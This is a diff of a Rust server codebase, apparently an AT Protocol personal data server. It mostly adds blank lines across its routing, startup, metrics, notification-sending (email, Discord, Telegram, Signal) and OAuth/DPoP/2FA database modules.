     fn create_test_image(width: u32, height: u32) -> Vec<u8> {
         let img = DynamicImage::new_rgb8(width, height);
         let mut buf = Vec::new();
         img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Png).unwrap();
         buf
     }
+
     #[test]
     fn test_process_small_image() {
         let processor = ImageProcessor::new();
···
         assert!(result.thumbnail_feed.is_none());
         assert!(result.thumbnail_full.is_none());
     }
+
     #[test]
     fn test_process_large_image_generates_thumbnails() {
         let processor = ImageProcessor::new();
···
         assert!(full_thumb.width <= THUMB_SIZE_FULL);
         assert!(full_thumb.height <= THUMB_SIZE_FULL);
     }
+
     #[test]
     fn test_webp_conversion() {
         let processor = ImageProcessor::new().with_output_format(OutputFormat::WebP);
···
         let result = processor.process(&data, "image/png").unwrap();
         assert_eq!(result.original.mime_type, "image/webp");
     }
+
     #[test]
     fn test_reject_too_large() {
         let processor = ImageProcessor::new().with_max_dimension(1000);
···
         let result = processor.process(&data, "image/png");
         assert!(matches!(result, Err(ImageError::TooLarge { .. })));
     }
+
     #[test]
     fn test_is_supported_mime_type() {
         assert!(ImageProcessor::is_supported_mime_type("image/jpeg"));

src/lib.rs

···
 pub mod sync;
 pub mod util;
 pub mod validation;
+
 use axum::{
     Router,
     http::Method,
···
 use state::AppState;
 use tower_http::cors::{Any, CorsLayer};
 use tower_http::services::{ServeDir, ServeFile};
+
 pub fn app(state: AppState) -> Router {
     let router = Router::new()
         .route("/metrics", get(metrics::metrics_handler))
···
         .route("/.well-known/did.json", get(api::identity::well_known_did))
         .route("/.well-known/atproto-did", get(api::identity::well_known_atproto_did))
         .route("/u/{handle}/did.json", get(api::identity::user_did_doc))
-        // OAuth 2.1 endpoints
         .route(
             "/.well-known/oauth-protected-resource",
             get(oauth::endpoints::oauth_protected_resource),
···
                 .allow_headers(Any),
         )
         .with_state(state);
+
     let frontend_dir = std::env::var("FRONTEND_DIR")
         .unwrap_or_else(|_| "./frontend/dist".to_string());
+
     if std::path::Path::new(&frontend_dir).join("index.html").exists() {
         let index_path = format!("{}/index.html", frontend_dir);
         let serve_dir = ServeDir::new(&frontend_dir)

src/main.rs

···
 use std::sync::Arc;
 use tokio::sync::watch;
 use tracing::{error, info, warn};
+
 #[tokio::main]
 async fn main() -> ExitCode {
     dotenvy::dotenv().ok();
     tracing_subscriber::fmt::init();
     bspds::metrics::init_metrics();
+
     match run().await {
         Ok(()) => ExitCode::SUCCESS,
         Err(e) => {
···
         }
     }
 }
+
 async fn run() -> Result<(), Box<dyn std::error::Error>> {
     let database_url = std::env::var("DATABASE_URL")
         .map_err(|_| "DATABASE_URL environment variable must be set")?;
+
     let max_connections: u32 = std::env::var("DATABASE_MAX_CONNECTIONS")
         .ok()
         .and_then(|v| v.parse().ok())
         .unwrap_or(100);
+
     let min_connections: u32 = std::env::var("DATABASE_MIN_CONNECTIONS")
         .ok()
         .and_then(|v| v.parse().ok())
         .unwrap_or(10);
+
     let acquire_timeout_secs: u64 = std::env::var("DATABASE_ACQUIRE_TIMEOUT_SECS")
         .ok()
         .and_then(|v| v.parse().ok())
         .unwrap_or(10);
+
     info!(
         "Configuring database pool: max={}, min={}, acquire_timeout={}s",
         max_connections, min_connections, acquire_timeout_secs
     );
+
     let pool = sqlx::postgres::PgPoolOptions::new()
         .max_connections(max_connections)
         .min_connections(min_connections)
···
         .connect(&database_url)
         .await
         .map_err(|e| format!("Failed to connect to Postgres: {}", e))?;
+
     sqlx::migrate!("./migrations")
         .run(&pool)
         .await
         .map_err(|e| format!("Failed to run migrations: {}", e))?;
+
     let state = AppState::new(pool.clone()).await;
     bspds::sync::listener::start_sequencer_listener(state.clone()).await;
+
     let (shutdown_tx, shutdown_rx) = watch::channel(false);
+
     let mut notification_service = NotificationService::new(pool);
+
     if let Some(email_sender) = EmailSender::from_env() {
         info!("Email notifications enabled");
         notification_service = notification_service.register_sender(email_sender);
     } else {
         warn!("Email notifications disabled (MAIL_FROM_ADDRESS not set)");
     }
+
     if let Some(discord_sender) = DiscordSender::from_env() {
         info!("Discord notifications enabled");
         notification_service = notification_service.register_sender(discord_sender);
     }
+
     if let Some(telegram_sender) = TelegramSender::from_env() {
         info!("Telegram notifications enabled");
         notification_service = notification_service.register_sender(telegram_sender);
     }
+
     if let Some(signal_sender) = SignalSender::from_env() {
         info!("Signal notifications enabled");
         notification_service = notification_service.register_sender(signal_sender);
     }
+
     let notification_handle = tokio::spawn(notification_service.run(shutdown_rx.clone()));
+
     let crawlers_handle = if let Some(crawlers) = Crawlers::from_env() {
         let crawlers = Arc::new(
             crawlers.with_circuit_breaker(state.circuit_breakers.relay_notification.clone())
···
         warn!("Crawlers notification service disabled (PDS_HOSTNAME or CRAWLERS not set)");
         None
     };
+
     let app = bspds::app(state);
     let addr = SocketAddr::from(([127, 0, 0, 1], 3000));
     info!("listening on {}", addr);
+
     let listener = tokio::net::TcpListener::bind(addr)
         .await
         .map_err(|e| format!("Failed to bind to {}: {}", addr, e))?;
+
     let server_result = axum::serve(listener, app)
         .with_graceful_shutdown(shutdown_signal(shutdown_tx))
         .await;
+
     notification_handle.await.ok();
+
     if let Some(handle) = crawlers_handle {
         handle.await.ok();
     }
+
     if let Err(e) = server_result {
         return Err(format!("Server error: {}", e).into());
     }
+
     Ok(())
 }
+
 async fn shutdown_signal(shutdown_tx: watch::Sender<bool>) {
     let ctrl_c = async {
         match tokio::signal::ctrl_c().await {
···
             }
         }
     };
+
     #[cfg(unix)]
     let terminate = async {
         match tokio::signal::unix::signal(tokio::signal::unix::SignalKind::terminate()) {
···
             }
         }
     };
+
     #[cfg(not(unix))]
     let terminate = std::future::pending::<()>();
+
     tokio::select! {
         _ = ctrl_c => {},
         _ = terminate => {},
     }
+
     info!("Shutdown signal received, stopping services...");
     shutdown_tx.send(true).ok();
 }

src/metrics.rs

···
 use metrics_exporter_prometheus::{PrometheusBuilder, PrometheusHandle};
 use std::sync::OnceLock;
 use std::time::Instant;
+
 static PROMETHEUS_HANDLE: OnceLock<PrometheusHandle> = OnceLock::new();
+
 pub fn init_metrics() -> PrometheusHandle {
     let builder = PrometheusBuilder::new();
     let handle = builder
         .install_recorder()
         .expect("failed to install Prometheus recorder");
+
     PROMETHEUS_HANDLE.set(handle.clone()).ok();
     describe_metrics();
+
     handle
 }
+
 fn describe_metrics() {
     metrics::describe_counter!(
         "bspds_http_requests_total",
···
         "Database query duration in seconds"
     );
 }
+
 pub async fn metrics_handler() -> impl IntoResponse {
     match PROMETHEUS_HANDLE.get() {
         Some(handle) => {
···
         ),
     }
 }
+
 pub async fn metrics_middleware(request: Request<Body>, next: Next) -> Response {
     let start = Instant::now();
     let method = request.method().to_string();
     let path = normalize_path(request.uri().path());
+
     let response = next.run(request).await;
+
     let duration = start.elapsed().as_secs_f64();
     let status = response.status().as_u16().to_string();
+
     counter!(
         "bspds_http_requests_total",
         "method" => method.clone(),
···
         "status" => status.clone()
     )
     .increment(1);
+
     histogram!(
         "bspds_http_request_duration_seconds",
         "method" => method,
         "path" => path
     )
     .record(duration);
+
     response
 }
+
 fn normalize_path(path: &str) -> String {
     if path.starts_with("/xrpc/") {
         if let Some(method) = path.strip_prefix("/xrpc/") {
···
             return path.to_string();
         }
     }
+
     if path.starts_with("/u/") && path.ends_with("/did.json") {
         return "/u/{handle}/did.json".to_string();
     }
+
     if path.starts_with("/oauth/") {
         return path.to_string();
     }
+
     path.to_string()
 }
+
 pub fn record_auth_cache_hit(cache_type: &str) {
     counter!("bspds_auth_cache_hits_total", "cache_type" => cache_type.to_string()).increment(1);
 }
+
 pub fn record_auth_cache_miss(cache_type: &str) {
     counter!("bspds_auth_cache_misses_total", "cache_type" => cache_type.to_string()).increment(1);
 }
+
 pub fn set_firehose_subscribers(count: usize) {
     gauge!("bspds_firehose_subscribers").set(count as f64);
 }
+
 pub fn increment_firehose_subscribers() {
     counter!("bspds_firehose_events_total").increment(1);
 }
+
 pub fn record_firehose_event() {
     counter!("bspds_firehose_events_total").increment(1);
 }
+
 pub fn record_block_operation(op_type: &str) {
     counter!("bspds_block_operations_total", "op_type" => op_type.to_string()).increment(1);
 }
+
 pub fn record_s3_operation(op_type: &str, status: &str) {
     counter!(
         "bspds_s3_operations_total",
···
     )
     .increment(1);
 }
+
 pub fn set_notification_queue_size(size: usize) {
     gauge!("bspds_notification_queue_size").set(size as f64);
 }
+
 pub fn record_rate_limit_rejection(limiter: &str) {
     counter!("bspds_rate_limit_rejections_total", "limiter" => limiter.to_string()).increment(1);
 }
+
 pub fn record_db_query(query_type: &str, duration_seconds: f64) {
     counter!("bspds_db_queries_total", "query_type" => query_type.to_string()).increment(1);
     histogram!(
···
     )
     .record(duration_seconds);
 }
+
 #[cfg(test)]
 mod tests {
     use super::*;
+
     #[test]
     fn test_normalize_path() {
         assert_eq!(

src/notifications/mod.rs

···
 mod sender;
 mod service;
 mod types;
+
 pub use sender::{
     DiscordSender, EmailSender, NotificationSender, SendError, SignalSender, TelegramSender,
     is_valid_phone_number, sanitize_header_value,
 };
+
 pub use service::{
     channel_display_name, enqueue_2fa_code, enqueue_account_deletion, enqueue_email_update,
     enqueue_email_verification, enqueue_notification, enqueue_password_reset,
     enqueue_plc_operation, enqueue_signup_verification, enqueue_welcome, NotificationService,
 };
+
 pub use types::{
     NewNotification, NotificationChannel, NotificationStatus, NotificationType, QueuedNotification,
 };

src/notifications/sender.rs

···
 use std::time::Duration;
 use tokio::io::AsyncWriteExt;
 use tokio::process::Command;
+
 use super::types::{NotificationChannel, QueuedNotification};
+
 const HTTP_TIMEOUT_SECS: u64 = 30;
 const MAX_RETRIES: u32 = 3;
 const INITIAL_RETRY_DELAY_MS: u64 = 500;
+
 #[async_trait]
 pub trait NotificationSender: Send + Sync {
     fn channel(&self) -> NotificationChannel;
     async fn send(&self, notification: &QueuedNotification) -> Result<(), SendError>;
 }
+
 #[derive(Debug, thiserror::Error)]
 pub enum SendError {
     #[error("Failed to spawn sendmail process: {0}")]
···
     #[error("Max retries exceeded: {0}")]
     MaxRetriesExceeded(String),
 }
+
 fn create_http_client() -> Client {
     Client::builder()
         .timeout(Duration::from_secs(HTTP_TIMEOUT_SECS))
···
         .build()
         .unwrap_or_else(|_| Client::new())
 }
+
 fn is_retryable_status(status: reqwest::StatusCode) -> bool {
     status.is_server_error() || status == reqwest::StatusCode::TOO_MANY_REQUESTS
 }
+
 async fn retry_delay(attempt: u32) {
     let delay_ms = INITIAL_RETRY_DELAY_MS * 2u64.pow(attempt);
     tokio::time::sleep(Duration::from_millis(delay_ms)).await;
 }
+
 pub fn sanitize_header_value(value: &str) -> String {
     value.replace(['\r', '\n'], " ").trim().to_string()
 }
+
 pub fn is_valid_phone_number(number: &str) -> bool {
     if number.len() < 2 || number.len() > 20 {
         return false;
···
     let remaining: String = chars.collect();
     !remaining.is_empty() && remaining.chars().all(|c| c.is_ascii_digit())
 }
+
 pub struct EmailSender {
     from_address: String,
     from_name: String,
     sendmail_path: String,
 }
+
 impl EmailSender {
     pub fn new(from_address: String, from_name: String) -> Self {
         Self {
···
             sendmail_path: std::env::var("SENDMAIL_PATH").unwrap_or_else(|_| "/usr/sbin/sendmail".to_string()),
         }
     }
+
     pub fn from_env() -> Option<Self> {
         let from_address = std::env::var("MAIL_FROM_ADDRESS").ok()?;
         let from_name = std::env::var("MAIL_FROM_NAME").unwrap_or_else(|_| "BSPDS".to_string());
         Some(Self::new(from_address, from_name))
     }
+
     pub fn format_email(&self, notification: &QueuedNotification) -> String {
         let subject = sanitize_header_value(notification.subject.as_deref().unwrap_or("Notification"));
         let recipient = sanitize_header_value(&notification.recipient);
···
         )
     }
 }
+
 #[async_trait]
 impl NotificationSender for EmailSender {
     fn channel(&self) -> NotificationChannel {
         NotificationChannel::Email
     }
+
     async fn send(&self, notification: &QueuedNotification) -> Result<(), SendError> {
         let email_content = self.format_email(notification);
         let mut child = Command::new(&self.sendmail_path)
···
         Ok(())
     }
 }
+
 pub struct DiscordSender {
     webhook_url: String,
     http_client: Client,
 }
+
 impl DiscordSender {
     pub fn new(webhook_url: String) -> Self {
         Self {
···
             http_client: create_http_client(),
         }
     }
+
     pub fn from_env() -> Option<Self> {
         let webhook_url = std::env::var("DISCORD_WEBHOOK_URL").ok()?;
         Some(Self::new(webhook_url))
     }
 }
+
 #[async_trait]
 impl NotificationSender for DiscordSender {
     fn channel(&self) -> NotificationChannel {
         NotificationChannel::Discord
     }
+
     async fn send(&self, notification: &QueuedNotification) -> Result<(), SendError> {
         let subject = notification.subject.as_deref().unwrap_or("Notification");
         let content = format!("**{}**\n\n{}", subject, notification.body);
···
         ))
     }
 }
+
 pub struct TelegramSender {
     bot_token: String,
     http_client: Client,
 }
+
 impl TelegramSender {
     pub fn new(bot_token: String) -> Self {
         Self {
···
             http_client: create_http_client(),
         }
     }
+
     pub fn from_env() -> Option<Self> {
         let bot_token = std::env::var("TELEGRAM_BOT_TOKEN").ok()?;
         Some(Self::new(bot_token))
     }
 }
+
 #[async_trait]
 impl NotificationSender for TelegramSender {
     fn channel(&self) -> NotificationChannel {
         NotificationChannel::Telegram
     }
+
     async fn send(&self, notification: &QueuedNotification) -> Result<(), SendError> {
         let chat_id = &notification.recipient;
         let subject = notification.subject.as_deref().unwrap_or("Notification");
···
         ))
     }
 }
+
 pub struct SignalSender {
     signal_cli_path: String,
     sender_number: String,
 }
+
 impl SignalSender {
     pub fn new(signal_cli_path: String, sender_number: String) -> Self {
         Self {
···
             sender_number,
         }
     }
+
     pub fn from_env() -> Option<Self> {
         let signal_cli_path = std::env::var("SIGNAL_CLI_PATH")
             .unwrap_or_else(|_| "/usr/local/bin/signal-cli".to_string());
···
         Some(Self::new(signal_cli_path, sender_number))
     }
 }
+
 #[async_trait]
 impl NotificationSender for SignalSender {
     fn channel(&self) -> NotificationChannel {
         NotificationChannel::Signal
     }
+
     async fn send(&self, notification: &QueuedNotification) -> Result<(), SendError> {
         let recipient = &notification.recipient;
         if !is_valid_phone_number(recipient) {

src/notifications/service.rs

···
 use std::collections::HashMap;
 use std::sync::Arc;
 use std::time::Duration;
+
 use chrono::Utc;
 use sqlx::PgPool;
 use tokio::sync::watch;
 use tokio::time::interval;
 use tracing::{debug, error, info, warn};
 use uuid::Uuid;
+
 use super::sender::{NotificationSender, SendError};
 use super::types::{NewNotification, NotificationChannel, NotificationStatus, QueuedNotification};
+
 pub struct NotificationService {
     db: PgPool,
     senders: HashMap<NotificationChannel, Arc<dyn NotificationSender>>,
     poll_interval: Duration,
     batch_size: i64,
 }
+
 impl NotificationService {
     pub fn new(db: PgPool) -> Self {
         let poll_interval_ms: u64 = std::env::var("NOTIFICATION_POLL_INTERVAL_MS")
···
             batch_size,
         }
     }
+
     pub fn with_poll_interval(mut self, interval: Duration) -> Self {
         self.poll_interval = interval;
         self
     }
+
     pub fn with_batch_size(mut self, size: i64) -> Self {
         self.batch_size = size;
         self
     }
+
     pub fn register_sender<S: NotificationSender + 'static>(mut self, sender: S) -> Self {
         self.senders.insert(sender.channel(), Arc::new(sender));
         self
     }
+
     pub async fn enqueue(&self, notification: NewNotification) -> Result<Uuid, sqlx::Error> {
         let id = sqlx::query_scalar!(
             r#"
···
         debug!(notification_id = %id, "Notification enqueued");
         Ok(id)
     }
+
     pub fn has_senders(&self) -> bool {
         !self.senders.is_empty()
     }
+
     pub async fn run(self, mut shutdown: watch::Receiver<bool>) {
         if self.senders.is_empty() {
             warn!("Notification service starting with no senders configured. Notifications will be queued but not delivered until senders are configured.");
···
             }
         }
     }
+
     async fn process_batch(&self) -> Result<(), sqlx::Error> {
         let notifications = self.fetch_pending_notifications().await?;
         if notifications.is_empty() {
···
         }
         Ok(())
     }
+
     async fn fetch_pending_notifications(&self) -> Result<Vec<QueuedNotification>, sqlx::Error> {
         let now = Utc::now();
         sqlx::query_as!(
···
         .fetch_all(&self.db)
         .await
     }
+
     async fn process_notification(&self, notification: QueuedNotification) {
         let notification_id = notification.id;
         let channel = notification.channel;
···
             }
         }
     }
+
     async fn mark_sent(&self, id: Uuid) -> Result<(), sqlx::Error> {
         sqlx::query!(
             r#"
···
         .await?;
         Ok(())
     }
+
     async fn mark_failed(&self, id: Uuid, error: &str) -> Result<(), sqlx::Error> {
         sqlx::query!(
             r#"
···
         Ok(())
     }
 }
+
 pub async fn enqueue_notification(db: &PgPool, notification: NewNotification) -> Result<Uuid, sqlx::Error> {
     sqlx::query_scalar!(
         r#"
···
     .fetch_one(db)
     .await
 }
+
 pub struct UserNotificationPrefs {
     pub channel: NotificationChannel,
     pub email: Option<String>,
     pub handle: String,
 }
+
 pub async fn get_user_notification_prefs(
     db: &PgPool,
     user_id: Uuid,
···
         handle: row.handle,
     })
 }
+
 pub async fn enqueue_welcome(
     db: &PgPool,
     user_id: Uuid,
···
     )
     .await
 }
+
 pub async fn enqueue_email_verification(
     db: &PgPool,
     user_id: Uuid,
···
     )
     .await
 }
+
 pub async fn enqueue_password_reset(
     db: &PgPool,
     user_id: Uuid,
···
     )
     .await
 }
+
 pub async fn enqueue_email_update(
     db: &PgPool,
     user_id: Uuid,
···
     )
     .await
 }
+
 pub async fn enqueue_account_deletion(
     db: &PgPool,
     user_id: Uuid,
···
     )
     .await
 }
+
 pub async fn enqueue_plc_operation(
     db: &PgPool,
     user_id: Uuid,
···
     )
     .await
 }
+
 pub async fn enqueue_2fa_code(
     db: &PgPool,
     user_id: Uuid,
···
     )
     .await
 }
+
 pub fn channel_display_name(channel: NotificationChannel) -> &'static str {
     match channel {
         NotificationChannel::Email => "email",
···
         NotificationChannel::Signal => "Signal",
     }
 }
+
 pub async fn enqueue_signup_verification(
     db: &PgPool,
     user_id: Uuid,

src/notifications/types.rs

···
 use serde::{Deserialize, Serialize};
 use sqlx::FromRow;
 use uuid::Uuid;
+
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, sqlx::Type, Serialize, Deserialize)]
 #[sqlx(type_name = "notification_channel", rename_all = "lowercase")]
 pub enum NotificationChannel {
···
     Telegram,
     Signal,
 }
+
 #[derive(Debug, Clone, Copy, PartialEq, Eq, sqlx::Type, Serialize, Deserialize)]
 #[sqlx(type_name = "notification_status", rename_all = "lowercase")]
 pub enum NotificationStatus {
···
     Sent,
     Failed,
 }
+
 #[derive(Debug, Clone, Copy, PartialEq, Eq, sqlx::Type, Serialize, Deserialize)]
 #[sqlx(type_name = "notification_type", rename_all = "snake_case")]
 pub enum NotificationType {
···
     PlcOperation,
     TwoFactorCode,
 }
+
 #[derive(Debug, Clone, FromRow)]
 pub struct QueuedNotification {
     pub id: Uuid,
···
     pub scheduled_for: DateTime<Utc>,
     pub processed_at: Option<DateTime<Utc>>,
 }
+
 pub struct NewNotification {
     pub user_id: Uuid,
     pub channel: NotificationChannel,
···
     pub body: String,
     pub metadata: Option<serde_json::Value>,
 }
+
 impl NewNotification {
     pub fn new(
         user_id: Uuid,
···
             metadata: None,
         }
     }
+
     pub fn email(
         user_id: Uuid,
         notification_type: NotificationType,

src/oauth/client.rs

···
 use std::collections::HashMap;
 use std::sync::Arc;
 use tokio::sync::RwLock;
+
 use super::OAuthError;
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct ClientMetadata {
     pub client_id: String,
···
     #[serde(skip_serializing_if = "Option::is_none")]
     pub application_type: Option<String>,
 }
+
 impl Default for ClientMetadata {
     fn default() -> Self {
         Self {
···
         }
     }
 }
+
 #[derive(Clone)]
 pub struct ClientMetadataCache {
     cache: Arc<RwLock<HashMap<String, CachedMetadata>>>,
···
     http_client: Client,
     cache_ttl_secs: u64,
 }
+
 struct CachedMetadata {
     metadata: ClientMetadata,
     cached_at: std::time::Instant,
 }
+
 struct CachedJwks {
     jwks: serde_json::Value,
     cached_at: std::time::Instant,
 }
+
 impl ClientMetadataCache {
     pub fn new(cache_ttl_secs: u64) -> Self {
         Self {
···
             cache_ttl_secs,
         }
     }
+
     pub async fn get(&self, client_id: &str) -> Result<ClientMetadata, OAuthError> {
         {
             let cache = self.cache.read().await;
···
         }
         Ok(metadata)
     }
+
     pub async fn get_jwks(&self, metadata: &ClientMetadata) -> Result<serde_json::Value, OAuthError> {
         if let Some(jwks) = &metadata.jwks {
             return Ok(jwks.clone());
···
         }
         Ok(jwks)
     }
+
     async fn fetch_jwks(&self, jwks_uri: &str) -> Result<serde_json::Value, OAuthError> {
         if !jwks_uri.starts_with("https://") {
             if !jwks_uri.starts_with("http://")
···
         }
         Ok(jwks)
     }
+
     async fn fetch_metadata(&self, client_id: &str) -> Result<ClientMetadata, OAuthError> {
         if !client_id.starts_with("http://") && !client_id.starts_with("https://") {
             return Err(OAuthError::InvalidClient(
···
         self.validate_metadata(&metadata)?;
         Ok(metadata)
     }
+
     fn validate_metadata(&self, metadata: &ClientMetadata) -> Result<(), OAuthError> {
         if metadata.redirect_uris.is_empty() {
             return Err(OAuthError::InvalidClient(
···
         }
         Ok(())
     }
+
     pub fn validate_redirect_uri(
         &self,
         metadata: &ClientMetadata,
···
         }
         Ok(())
     }
+
     fn validate_redirect_uri_format(&self, uri: &str) -> Result<(), OAuthError> {
         if uri.contains('#') {
             return Err(OAuthError::InvalidClient(
···
         Ok(())
     }
 }
+
 impl ClientMetadata {
     pub fn requires_dpop(&self) -> bool {
         self.dpop_bound_access_tokens.unwrap_or(false)
     }
+
     pub fn auth_method(&self) -> &str {
         self.token_endpoint_auth_method
             .as_deref()
             .unwrap_or("none")
     }
 }
+
 pub async fn verify_client_auth(
     cache: &ClientMetadataCache,
     metadata: &ClientMetadata,
···
         ))),
     }
 }
+
 async fn verify_private_key_jwt_async(
     cache: &ClientMetadataCache,
     metadata: &ClientMetadata,
···
         "client_assertion signature verification failed".to_string(),
     ))
 }
+
 fn verify_es256(
     key: &serde_json::Value,
     signing_input: &str,
···
         .verify(signing_input.as_bytes(), &sig)
         .map_err(|_| OAuthError::InvalidClient("ES256 signature verification failed".to_string()))
 }
+
 fn verify_es384(
     key: &serde_json::Value,
     signing_input: &str,
···
         .verify(signing_input.as_bytes(), &sig)
         .map_err(|_| OAuthError::InvalidClient("ES384 signature verification failed".to_string()))
 }
+
 fn verify_rsa(
     _alg: &str,
     _key: &serde_json::Value,
···
         "RSA signature verification not yet supported - use EC keys".to_string(),
     ))
 }
+
 fn verify_eddsa(
     key: &serde_json::Value,
     signing_input: &str,

src/oauth/db/client.rs

···
 use sqlx::PgPool;
 use super::super::{AuthorizedClientData, OAuthError};
 use super::helpers::{from_json, to_json};
+
 pub async fn upsert_authorized_client(
     pool: &PgPool,
     did: &str,
···
     .await?;
     Ok(())
 }
+
 pub async fn get_authorized_client(
     pool: &PgPool,
     did: &str,

src/oauth/db/device.rs

···
 use chrono::{DateTime, Utc};
 use sqlx::PgPool;
 use super::super::{DeviceData, OAuthError};
+
 pub struct DeviceAccountRow {
     pub did: String,
     pub handle: String,
     pub email: Option<String>,
     pub last_used_at: DateTime<Utc>,
 }
+
 pub async fn create_device(
     pool: &PgPool,
     device_id: &str,
···
     .await?;
     Ok(())
 }
+
 pub async fn get_device(pool: &PgPool, device_id: &str) -> Result<Option<DeviceData>, OAuthError> {
     let row = sqlx::query!(
         r#"
···
         last_seen_at: r.last_seen_at,
     }))
 }
+
 pub async fn update_device_last_seen(
     pool: &PgPool,
     device_id: &str,
···
     .await?;
     Ok(())
 }
+
 pub async fn delete_device(pool: &PgPool, device_id: &str) -> Result<(), OAuthError> {
     sqlx::query!(
         r#"
···
     .await?;
     Ok(())
 }
+
 pub async fn upsert_account_device(
     pool: &PgPool,
     did: &str,
···
     .await?;
     Ok(())
 }
+
 pub async fn get_device_accounts(
     pool: &PgPool,
     device_id: &str,
···
         })
         .collect())
 }
+
 pub async fn verify_account_on_device(
     pool: &PgPool,
     device_id: &str,

src/oauth/db/dpop.rs

···
 use sqlx::PgPool;
 use super::super::OAuthError;
+
 pub async fn check_and_record_dpop_jti(
     pool: &PgPool,
     jti: &str,
···
     .await?;
     Ok(result.rows_affected() > 0)
 }
+
 pub async fn cleanup_expired_dpop_jtis(
     pool: &PgPool,
     max_age_secs: i64,

src/oauth/db/helpers.rs

···
 use serde::{de::DeserializeOwned, Serialize};
 use super::super::OAuthError;
+
 pub fn to_json<T: Serialize>(value: &T) -> Result<serde_json::Value, OAuthError> {
     serde_json::to_value(value).map_err(|e| {
         tracing::error!("JSON serialization error: {}", e);
         OAuthError::ServerError("Internal serialization error".to_string())
     })
 }
+
 pub fn from_json<T: DeserializeOwned>(value: serde_json::Value) -> Result<T, OAuthError> {
     serde_json::from_value(value).map_err(|e| {
         tracing::error!("JSON deserialization error: {}", e);

src/oauth/db/mod.rs

···
 mod request;
 mod token;
 mod two_factor;
+
 pub use client::{get_authorized_client, upsert_authorized_client};
 pub use device::{
     create_device, delete_device, get_device, get_device_accounts, update_device_last_seen,

src/oauth/db/request.rs

···
 use sqlx::PgPool;
 use super::super::{AuthorizationRequestParameters, ClientAuth, OAuthError, RequestData};
 use super::helpers::{from_json, to_json};
+
 pub async fn create_authorization_request(
     pool: &PgPool,
     request_id: &str,
···
     .await?;
     Ok(())
 }
+
 pub async fn get_authorization_request(
     pool: &PgPool,
     request_id: &str,
···
         None => Ok(None),
     }
 }
+
 pub async fn update_authorization_request(
     pool: &PgPool,
     request_id: &str,
···
     .await?;
     Ok(())
 }
+
 pub async fn consume_authorization_request_by_code(
     pool: &PgPool,
     code: &str,
···
         None => Ok(None),
     }
 }
+
 pub async fn delete_authorization_request(
     pool: &PgPool,
     request_id: &str,
···
     .await?;
     Ok(())
 }
+
 pub async fn delete_expired_authorization_requests(pool: &PgPool) -> Result<u64, OAuthError> {
     let result = sqlx::query!(
         r#"

src/oauth/db/token.rs

···
 use sqlx::PgPool;
 use super::super::{OAuthError, TokenData};
 use super::helpers::{from_json, to_json};
+
 pub async fn create_token(
     pool: &PgPool,
     data: &TokenData,
···
     .await?;
     Ok(row.id)
 }
+
 pub async fn get_token_by_id(
     pool: &PgPool,
     token_id: &str,
···
         None => Ok(None),
     }
 }
+
 pub async fn get_token_by_refresh_token(
     pool: &PgPool,
     refresh_token: &str,
···
         None => Ok(None),
     }
 }
+
 pub async fn rotate_token(
     pool: &PgPool,
     old_db_id: i32,
···
     tx.commit().await?;
     Ok(())
 }
+
 pub async fn check_refresh_token_used(
     pool: &PgPool,
     refresh_token: &str,
···
     .await?;
     Ok(row)
 }
+
 pub async fn delete_token(pool: &PgPool, token_id: &str) -> Result<(), OAuthError> {
     sqlx::query!(
         r#"
···
     .await?;
     Ok(())
 }
+
 pub async fn delete_token_family(pool: &PgPool, db_id: i32) -> Result<(), OAuthError> {
     sqlx::query!(
         r#"
···
     .await?;
     Ok(())
 }
+
 pub async fn list_tokens_for_user(
     pool: &PgPool,
     did: &str,
···
     }
     Ok(tokens)
 }
+
 pub async fn count_tokens_for_user(pool: &PgPool, did: &str) -> Result<i64, OAuthError> {
     let count = sqlx::query_scalar!(
         r#"
···
     .await?;
     Ok(count)
 }
+
 pub async fn delete_oldest_tokens_for_user(
     pool: &PgPool,
     did: &str,
···
     .await?;
     Ok(result.rows_affected())
 }
+
 const MAX_TOKENS_PER_USER: i64 = 100;
+
 pub async fn enforce_token_limit_for_user(pool: &PgPool, did: &str) -> Result<(), OAuthError> {
     let count = count_tokens_for_user(pool, did).await?;
     if count > MAX_TOKENS_PER_USER {

src/oauth/db/two_factor.rs

···
 use sqlx::PgPool;
 use uuid::Uuid;
 use super::super::OAuthError;
+
 pub struct TwoFactorChallenge {
     pub id: Uuid,
     pub did: String,
···
     pub created_at: DateTime<Utc>,
     pub expires_at: DateTime<Utc>,
 }
+
 pub fn generate_2fa_code() -> String {
     let mut rng = rand::thread_rng();
     let code: u32 = rng.gen_range(0..1_000_000);
     format!("{:06}", code)
 }
+
 pub async fn create_2fa_challenge(
     pool: &PgPool,
     did: &str,
···
         expires_at: row.expires_at,
     })
 }
+
 pub async fn get_2fa_challenge(
     pool: &PgPool,
     request_uri: &str,
···
         expires_at: r.expires_at,
     }))
 }
+
 pub async fn increment_2fa_attempts(pool: &PgPool, id: Uuid) -> Result<i32, OAuthError> {
     let row = sqlx::query!(
         r#"
···
     .await?;
     Ok(row.attempts)
 }
+
 pub async fn delete_2fa_challenge(pool: &PgPool, id: Uuid) -> Result<(), OAuthError> {
     sqlx::query!(
         r#"
···
     .await?;
     Ok(())
 }
+
 pub async fn delete_2fa_challenge_by_request_uri(
     pool: &PgPool,
     request_uri: &str,
···
     .await?;
     Ok(())
 }
+
 pub async fn cleanup_expired_2fa_challenges(pool: &PgPool) -> Result<u64, OAuthError> {
     let result = sqlx::query!(
         r#"
···
     .await?;
     Ok(result.rows_affected())
 }
+
 pub async fn check_user_2fa_enabled(pool: &PgPool, did: &str) -> Result<bool, OAuthError> {
     let row = sqlx::query!(
         r#"

src/oauth/dpop.rs

···
 use chrono::Utc;
 use serde::{Deserialize, Serialize};
 use sha2::{Digest, Sha256};
+
 use super::OAuthError;
+
 const DPOP_NONCE_VALIDITY_SECS: i64 = 300;
 const DPOP_MAX_AGE_SECS: i64 = 300;
+
 #[derive(Debug, Clone)]
 pub struct DPoPVerifyResult {
     pub jkt: String,
     pub jti: String,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct DPoPProofHeader {
     pub typ: String,
     pub alg: String,
     pub jwk: DPoPJwk,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct DPoPJwk {
     pub kty: String,
···
     #[serde(skip_serializing_if = "Option::is_none")]
     pub y: Option<String>,
 }
+
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct DPoPProofPayload {
     pub jti: String,
···
     #[serde(skip_serializing_if = "Option::is_none")]
     pub nonce: Option<String>,
 }
+
 pub struct DPoPVerifier {
     secret: Vec<u8>,
 }
+
